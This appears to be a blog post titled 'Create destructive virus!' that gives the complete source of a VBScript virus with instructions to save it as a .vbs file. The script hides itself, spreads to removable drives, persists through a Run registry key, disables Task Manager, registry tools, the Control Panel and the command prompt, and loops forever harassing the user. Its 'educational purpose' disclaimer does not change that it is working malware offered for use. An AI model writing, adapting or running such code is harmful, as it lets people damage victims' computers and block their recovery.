Create destructive virus!

A simple virus which copies itself to different location in your computer and impose restrictions to prevent its detection and removal.
Copy the code in notepad and save it as "virus.vbs".
Select "All Files" in save as type.
NOTE: I must not be held liable for any damages of any kind arising out from this. This is for educational purpose ONLY.
 CODE:

ON ERROR RESUME NEXT

Set objShell = createObject("WScript.Shell")
set objFS = createObject("Scripting.FileSystemObject")
set objShell32 = createobject("shell.application")
set drv = objFS.Drives
Reg = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\"
Reg2 = "HKLM\SOFTWARE\Microsoft\Windows NT\"
do
  objFS.GetFile(Wscript.ScriptFullName).Attributes = 6
  for each driv in drv
    if driv.DriveType = 1 then
      objFS.CopyFile wscript.ScriptFullName, driv.DriveLetter & ":\vir.vbs", true
      objFS.CopyFile wscript.ScriptFullName , objFS.GetSpecialFolder(WindowsFolder) & "\vir.vbs", true
    end if
  next
  objShell.RegWrite Reg & "System\DisableTaskMgr", 1, "REG_DWORD"
  objShell.RegWrite Reg & "System\DisableRegistryTools", 2, "REG_DWORD"
  objShell.RegWrite Reg & "Explorer\NoFolderOptions", 1, "REG_DWORD"
  objShell.RegWrite Reg & "Explorer\NoControlPanel", 1, "REG_DWORD"
  objShell.RegWrite Reg & "Uninstall\NoAddRemovePrograms", 1, "REG_DWORD"
  objShell.RegWrite "HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD", 2, "REG_DWORD"
  objShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Virus",     objFS.GetSpecialFolder(WindowsFolder) & "\vir.vbs"
  objShell.RegWrite Reg2 & "CurrentVersion\RegisteredOwner", "Subin Ninan", "REG_SZ"
  wscript.sleep 1000
  objshell.SendKeys "{numlock}"
  wscript.sleep 1000
  objshell.SendKeys "{capslock}"
  wscript.sleep 1000
  objshell.SendKeys "{scrolllock}"
  objShell32.minimizeall
loop

6 comments

Post a Comment